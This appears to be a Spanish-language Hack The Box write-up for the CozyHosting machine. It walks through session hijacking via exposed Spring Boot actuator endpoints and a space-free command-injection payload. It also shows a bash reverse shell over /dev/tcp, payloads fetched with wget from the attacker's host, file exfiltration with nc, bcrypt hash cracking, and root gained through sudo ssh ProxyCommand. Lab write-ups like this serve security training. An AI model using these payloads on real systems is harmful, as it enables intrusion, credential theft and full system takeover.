Descripción

CozyHosting es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Aplicación de Spring vulnerable debido a su configuración
  • Inyección de comandos
  • Exposición de datos sensibles
  • Obtención de una contraseña mediante su hash
  • Elevación de privilegios gracias a un comando vulnerable

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.230.

$ ping -c 3 10.10.11.230
PING 10.10.11.230 (10.10.11.230) 56(84) bytes of data.
64 bytes from 10.10.11.230: icmp_seq=1 ttl=63 time=42.5 ms
64 bytes from 10.10.11.230: icmp_seq=2 ttl=63 time=42.2 ms
64 bytes from 10.10.11.230: icmp_seq=3 ttl=63 time=42.4 ms

--- 10.10.11.230 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.185/42.372/42.541/0.145 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.230 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.230
Host is up (0.043s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.230 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.230
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds

Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH nos movemos al servicio HTTP. Observamos que el servicio alberga un sitio web http://cozyhosting.htb, por lo que lo añadimos a nuestro archivo local /etc/hosts.

$ echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts

Con WhatWeb podemos comprobar que el servidor está ejecutando un servidor web nginx 1.18.0.

$ whatweb --log-brief web_techs cozyhosting.htb
http://cozyhosting.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Email[info@cozyhosting.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.230], Lightbox, Script, Title[Cozy Hosting - Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]

Mirando la página web vemos que ofrece servicios para hospedar un sitio web. Si buscamos un archivo no existente obtenemos la página de error de Whitelabel, eso significa que se está ejecutando una aplicación Spring Boot. Spring Boot tiene algunos enlaces internos que se pueden ser activados. Podemos enumerarlos con la lista spring-boot y la herramienta Gobuster.

$ gobuster dir -u http://cozyhosting.htb/ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt -o directory_enumeration_spring
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/spring-boot.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/actuator             (Status: 200) [Size: 634]
/actuator/env/home    (Status: 200) [Size: 487]
/actuator/env/lang    (Status: 200) [Size: 487]
/actuator/env         (Status: 200) [Size: 4957]
/actuator/env/path    (Status: 200) [Size: 487]
/actuator/health      (Status: 200) [Size: 15]
/actuator/beans       (Status: 200) [Size: 127224]
/actuator/mappings    (Status: 200) [Size: 9938]
/actuator/sessions    (Status: 200) [Size: 95]

===============================================================
Finished
===============================================================

En el enlace podemos encontrar la sesión con la cookie para el usuario kanderson.

$ curl http://cozyhosting.htb/actuator/sessions                                  
{"74C540085C6E77CA8C209C9B638A10E2":"kanderson","B6AC1E9B348FD0489F49C89FAFD283DC":"kanderson"}

Así que cambiamos la cookie JSESSIONID en nuestro navegador web. Después de hacer clic en el botón Iniciar sesión en la página principal nos redireccionamos a la página web del administrador. Tenemos la opción de incluir un host para realizar un parcheado automático. Tenemos que proporcionar un nombre de host y un nombre de usuario, así que intentemos introducir el nuestro y ver qué sucede. Vemos que en la máquina, el comando ssh está siendo ejecutado utilizando los parámetros de nombre de host y nombre de usuario, por lo que podemos probar si los parámetros son vulnerables a una inyección de comandos.

Explotación

Tratando de explotar el campo de nombre de host recibimos que el nombre de host es inválido, esto significa que hay una verificación. Si intentamos inyectar el nombre de usuario, recibimos que el nombre de usuario no puede contener espacios en blanco, por lo que necesitamos introducir un comando sin espacios. Bash soporta la expansión de llaves para que un comando pueda ser ejecutado con este estilo.

{echo,estoesunargumento}

Así que ahora podemos crear nuestra carga útil para conseguir una terminal inversa, primero abrimos un puerto de escucha.

nc -nvlp 1234

Primero vamos a crear un script para almacenar nuestra terminal inversa.

$ cat<<EOF>shell133.sh
bash -i >& /dev/tcp/10.10.14.133/1234 0>&1

EOF

Luego introducimos la primera carga útil para descargar el script.

Carga útil en la inyección de comandos para descargar el script:
username@10.10.14.133;{/bin/wget,-P,/tmp,http://10.10.14.133:8000/shell133.sh};echo

Y finalmente la segunda carga útil para ejecutar el script descargado.

Carga útil en la inyección de comandos para ejecutar el script:
username@10.10.14.133;{/bin/bash,/tmp/shell133.sh};echo

Finalmente obtenemos la terminal inversa, así que la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.133] from (UNKNOWN) [10.10.11.230] 40662
bash: cannot set terminal process group (1060): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ script /dev/null -c bash
app@cozyhosting:/app$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
app@cozyhosting:/app$ stty rows 48 columns 156
app@cozyhosting:/app$ export TERM=xterm
app@cozyhosting:/app$ export SHELL=bash

Post-Explotación

Como tenemos acceso al sistema remoto, revisamos los usuarios activos de consola, root, postgres y josh son usuarios de consola.

app@cozyhosting:/app$ cat /etc/passwd | grep bash                                       root:x:0:0:root:/root:/bin/bash
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash

Si enumeramos el contenido de la carpeta actual podemos ver la aplicación Spring Boot que está ejecutándose.

$ ls -la
total 58856
drwxr-xr-x  2 root root     4096 Aug 14 14:11 .
drwxr-xr-x 19 root root     4096 Aug 14 14:11 ..
-rw-r--r--  1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar

Vamos a descargarla para comprobar su contenido e intentar encontrar algo interesante. Para transferir el archivo abrimos en nuestro ordenador un puerto de escucha.

nc -nvlp 1235 | base64 -d > cloud-hosting.jar

Y luego en el sistema remoto ejecutamos para enviar el archivo.

$ cat cloudhosting-0.0.1.jar | base64 | nc 10.10.14.133 1235

Después de eso podemos explorar el archivo con un explorador de archivos ZIP o con la aplicación JADX para decompilar el programa. En el directorio BOOT-INF encontramos el archivo application.properties que contienen las credenciales de la base de datos Postgresql.

server.address=127.0.0.1  
server.servlet.session.timeout=5m  
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings  
management.endpoint.sessions.enabled = true  
spring.datasource.driver-class-name=org.postgresql.Driver  
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect  
spring.jpa.hibernate.ddl-auto=none  
spring.jpa.database=POSTGRESQL  
spring.datasource.platform=postgres  
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting  
spring.datasource.username=postgres  
spring.datasource.password=Vg&nvzAQ7XxR

Así que enumeramos la base de datos con el comando psql.

app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres
Password for user postgres: 
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \l
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
(4 rows)

Vemos la base de datos cozyhosting.

cozyhosting=# select * from hosts;
 id | username  |      hostname      
----+-----------+--------------------
  1 | kanderson | suspicious mcnulty
  5 | kanderson | boring mahavira
  6 | kanderson | stoic varahamihira
  7 | kanderson | awesome lalande
(4 rows)

cozyhosting=# select * from users;
   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

Conseguimos una contraseña hasheada para los usuarios de kanderson y admin, así que los copiamos a un archivo y tratamos de obtener las contraseñas usando John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt         
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:09 0.02% (ETA: 20:23:15) 0g/s 286.4p/s 572.8c/s 572.8C/s star123..outlaw
manchesterunited (?)

Conseguimos la contraseña para un hash, manchesterunited. Si intentamos usar la credencial con el usuario de josh nos conectamos con éxito. Revisamos que josh puede ejecutar el comando ssh como root. En GTFObins vemos que podemos crear una consola de superadministrador con el comando ssh.

$ su josh
Password: 
josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# bash
root@cozyhosting:/home/josh# id
uid=0(root) gid=0(root) groups=0(root)

Obtenemos una terminal como el usuario superadministrador.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

root@cozyhosting:/home/josh# cat /home/josh/user.txt 
<REDACTED>
root@cozyhosting:/home/josh# cat /root/root.txt
<REDACTED>